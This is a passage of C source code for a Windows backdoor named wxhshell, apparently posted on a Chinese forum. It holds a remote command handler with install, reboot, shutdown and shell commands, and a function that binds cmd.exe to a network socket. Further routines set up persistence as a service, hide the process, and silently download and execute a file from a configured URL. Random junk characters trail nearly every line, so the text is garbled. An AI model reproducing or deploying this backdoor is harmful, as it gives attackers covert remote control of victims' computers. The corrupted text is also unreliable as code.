      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); VPG+]> *  
    break; 0J-]  
  } {kGcZf3h  
  // 安装 69#D,ME?  
  case 'i': { (\^| @  
    if(Install()) H4[];&]xr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DK8eFyG^2  
    else  AnK-\4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5g9lO]WDI  
    break; W`HO Q  
    } oG5 :]/F  
  // 卸载 q3a`Y)aVB  
  case 'r': { tHlKo0S$0  
    if(Uninstall()) 4 [2^#t[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R%)ZhG*  
    else 6[g~p< 8n}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XRi/O)98o  
    break; X2>qx^jT  
    } DA'A-C2  
  // 显示 wxhshell 所在路径 \LX!n!@  
  case 'p': { )c vA}U.z  
    char svExeFile[MAX_PATH]; M{#  
    strcpy(svExeFile,"\n\r"); LgN\%5f-  
      strcat(svExeFile,ExeFile); !vNZ- }  
        send(wsh,svExeFile,strlen(svExeFile),0); 'BY{]{SL  
    break; nO{@p_3mi  
    } Rv R ,V  
  // 重启 Sn 3@+9J  
  case 'b': { x2gnB@t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t Dx!m~[  
    if(Boot(REBOOT)) 6")co9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q:A{@kFq_  
    else { e!cZW.B=`f  
    closesocket(wsh); 72oiO[>N'  
    ExitThread(0); OnGtIY  
    } f( (p\ &y  
    break; 8SmtEV[b3  
    } HF@K$RPK  
  // 关机 99Jk<x k  
  case 'd': { a o_A %?Ld  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nNe`?TS?f  
    if(Boot(SHUTDOWN)) B{IYVviiP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Y>v+N^  
    else { jA ?tDAx`  
    closesocket(wsh); Fa]fSqy@;  
    ExitThread(0); 'M"JF;*r  
    } E]x)Qr2Ju  
    break; Of| e]GR  
    } = ~{n-rMF  
  // 获取shell Sb_T _m  
  case 's': { a|B^%  
    CmdShell(wsh); XRU^7@Ylks  
    closesocket(wsh); 9d ZE#l!Q  
    ExitThread(0); }T!2IaAB  
    break; AEx|<E0  
  } UPtWj8h  
  // 退出 xgl~4  
  case 'x': { wFr}]<=Mi  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,>-Q#  
    CloseIt(wsh); Zkn$D:  
    break; iy&*5U  
    } <a>\.d9#)7  
  // 离开 $,+'|_0yM  
  case 'q': { A/kRw'6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cp|&&q  
    closesocket(wsh); ![O@{/  
    WSACleanup(); IEb"tsel  
    exit(1); .:eNL]2%:  
    break; ]V9z)uz  
        } gemjLuf  
  } fneg[K  
  } :v/6k  
\<ohe w  
  // 提示信息  (`0dO8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @d5G\1(%  
} dt NHj/\  
  } Iq&S6l <0  
lLuAZoH  
  return; IbRy~  
} %\=oy=f  
.HTX7mA3  
// shell模块句柄 9T*%CI  
int CmdShell(SOCKET sock) mPHn &4  
{ %y zFWDg  
STARTUPINFO si; ~<0!sE&y  
ZeroMemory(&si,sizeof(si)); 6km{= ```  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,}&E=5MF\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %SV"iXxY  
PROCESS_INFORMATION ProcessInfo; ?L|Jc_E  
char cmdline[]="cmd"; +cAN4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T7W*S-IW  
  return 0; ,WF)GS|7V  
} _#c^z;!  
4uip!@$K  
// 自身启动模式 5- Q`v/w;  
int StartFromService(void) H!dUQ  
{ %9|=\# G  
typedef struct A@/DGrZX  
{ G@Dw  
  DWORD ExitStatus; J90q\_dY.  
  DWORD PebBaseAddress; + ~ro*{3  
  DWORD AffinityMask; Yuy7TeJRx  
  DWORD BasePriority; ? C2 bA5 M  
  ULONG UniqueProcessId; *b" (r|Ko  
  ULONG InheritedFromUniqueProcessId; |=.z0{A7H  
}   PROCESS_BASIC_INFORMATION; <DS+"#  
rN|c0N  
PROCNTQSIP NtQueryInformationProcess; SU, t,i  
7pNTCZY|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p9<OXeY   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LkFXUt?  
"A jtNL5  
  HANDLE             hProcess; ;S+c<MSl  
  PROCESS_BASIC_INFORMATION pbi; `~( P  
kmM4KP#&|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4%WV)lt  
  if(NULL == hInst ) return 0; G+ =6]0HT  
;K?fAspSH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U5mec167  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0|X!Uw-Q%_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2tvMa%1^  
?MhRdY  
  if (!NtQueryInformationProcess) return 0; uh`@qmu)  
;_0)f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d#T8|#O"  
  if(!hProcess) return 0; P[{w23`4  
#)%N+Odnr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zOq~?>Ms6  
)@Yp;=l  
  CloseHandle(hProcess); 4ei .-  
{jzN  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5| 2B@6-  
if(hProcess==NULL) return 0; zY8"\ZB  
~MY7Ic%  
HMODULE hMod; aDa}@-F&a  
char procName[255]; o}5:vi]  
unsigned long cbNeeded; Yfy6o6*:  
8xmw-s)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #&">x7?5  
$P]% Px!x  
  CloseHandle(hProcess); HSx~Fs^J  
=S@$"_&  
if(strstr(procName,"services")) return 1; // 以服务启动 kP%W:4l0  
ua:.97~Ym  
  return 0; // 注册表启动 uMF\3T(x4  
}  1$idF  
B@*BcE?  
// 主模块 bl\44VK2'  
int StartWxhshell(LPSTR lpCmdLine) $X5~9s1Wl  
{ 8aGZ% UI  
  SOCKET wsl; MAR kTxzi  
BOOL val=TRUE; l1c&a[M)  
  int port=0; ,$3  
  struct sockaddr_in door; )iy>sa{  
tZ[BfO  
  if(wscfg.ws_autoins) Install(); [p@NzS/  
5h[u2&;G  
port=atoi(lpCmdLine); p)ta c*US  
QN-n9f8  
if(port<=0) port=wscfg.ws_port; CzzG  
:LVM'c62c>  
  WSADATA data; &+`l $h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; oO @6c%  
GT%V,OJ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   MvY0?!v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U=XaI%ZM)  
  door.sin_family = AF_INET; *D<S \6=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?9vBn  
  door.sin_port = htons(port); uGl0z79  
*wp'`3y}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s~/]nz]"J  
closesocket(wsl); p%IR4f  
return 1; >^:g[6Sj  
} nA F@47Wo  
v\-"NHl  
  if(listen(wsl,2) == INVALID_SOCKET) { C?rL>_+71  
closesocket(wsl); '*>LZo4  
return 1; t@.gmUUA  
} 7OtQK`P"A  
  Wxhshell(wsl); QC<( rx  
  WSACleanup(); h9+ylHW_cp  
G !1- 20  
return 0; f'FY<ed<w  
+nuv?QB/  
} 6WfyP@ f  
dGIu0\J\$  
// 以NT服务方式启动 <zZAVGb4I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /N%f78 Z  
{ uc Z(D|a   
DWORD   status = 0; ? z=>n  
  DWORD   specificError = 0xfffffff; =AL95"cH~  
.ET;wK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JIb<>X,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Pms3X  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xOT'4v&.  
  serviceStatus.dwWin32ExitCode     = 0; xxkP4,(p  
  serviceStatus.dwServiceSpecificExitCode = 0; *`}_e)(k  
  serviceStatus.dwCheckPoint       = 0; CI{]o&Tf  
  serviceStatus.dwWaitHint       = 0; ,zXL8T  
#EHBS~^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qoZ*sV  
  if (hServiceStatusHandle==0) return; ZX'{o9+w5  
h| UT/:  
status = GetLastError(); IU$bP#<  
  if (status!=NO_ERROR) {'DP/]nK  
{ +"3eh1q[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |~ \K:[T&  
    serviceStatus.dwCheckPoint       = 0; !a~x |pjJ  
    serviceStatus.dwWaitHint       = 0; 4 >&%-BhN  
    serviceStatus.dwWin32ExitCode     = status; Qlb@Az  
    serviceStatus.dwServiceSpecificExitCode = specificError; *|t]6!aVLS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ynOp7ZN$  
    return; 1r~lh#_8  
  } l7s=b4}c  
Km,tfM5j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; izFu&syv)  
  serviceStatus.dwCheckPoint       = 0; i"rMP#7  
  serviceStatus.dwWaitHint       = 0; a|nlmH"l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _9z/>e  
} OM4s.BLY  
J$e.$ah;  
// 处理NT服务事件,比如:启动、停止 ik$wS#1+L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $,aU"'D  
{ =R>Sxaq  
switch(fdwControl) yQi|^X~?$  
{ p1?}"bHk  
case SERVICE_CONTROL_STOP: 3~cOQ%#]4  
  serviceStatus.dwWin32ExitCode = 0; A^K,[8VX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M%B[>pONb7  
  serviceStatus.dwCheckPoint   = 0; l m  
  serviceStatus.dwWaitHint     = 0; e-e{-pB6  
  { 5)nv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }qKeX4\-  
  } >`{i[60r  
  return; {Y0I A97,  
case SERVICE_CONTROL_PAUSE: rM?D7a{q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mCz6&  
  break; +XpRkX&-  
case SERVICE_CONTROL_CONTINUE: ]UgA z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~JZ Lfw  
  break; /yykOvUO  
case SERVICE_CONTROL_INTERROGATE: '|d (<.[  
  break; `%ENGB|  
}; O"#`i{^?2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O]Kb~jkd  
} }TF<C !]  
6U&Uyd)  
// 标准应用程序主函数 z!3Z^d`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cw5YjQ8 9  
{ jSG jv>  
:%>8\q>UX  
// 获取操作系统版本 M`>W'<  
OsIsNt=GetOsVer(); KbUX(9+B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @wFm])}0  
Cfi2N V  
  // 从命令行安装 D46| )-  
  if(strpbrk(lpCmdLine,"iI")) Install(); d|o"QYX  
jSVO$AW~C  
  // 下载执行文件 Vks,3$  
if(wscfg.ws_downexe) { N Dg]s2T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J<BdIKCma  
  WinExec(wscfg.ws_filenam,SW_HIDE); I !(yU  
} ; zvnDox  
/y!Vs`PZ!  
if(!OsIsNt) { ,Tz ,)rY  
// 如果时win9x,隐藏进程并且设置为注册表启动 Rke:*(p*n;  
HideProc(); OK)0no=OAK  
StartWxhshell(lpCmdLine); f.f4<_v'h  
} 5o3_x ~e  
else L|Ydd!m  
  if(StartFromService()) &.z/dFmG  
  // 以服务方式启动 *C:+N>  
  StartServiceCtrlDispatcher(DispatchTable); A;|DQR()  
else uLCU3nI  
  // 普通方式启动 u!-eP7;7  
  StartWxhshell(lpCmdLine); 0*AlLwO  
ua[\npz5  
return 0; V8sY7QK=  
}
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只看该作者 1 发表于: 2006-10-10
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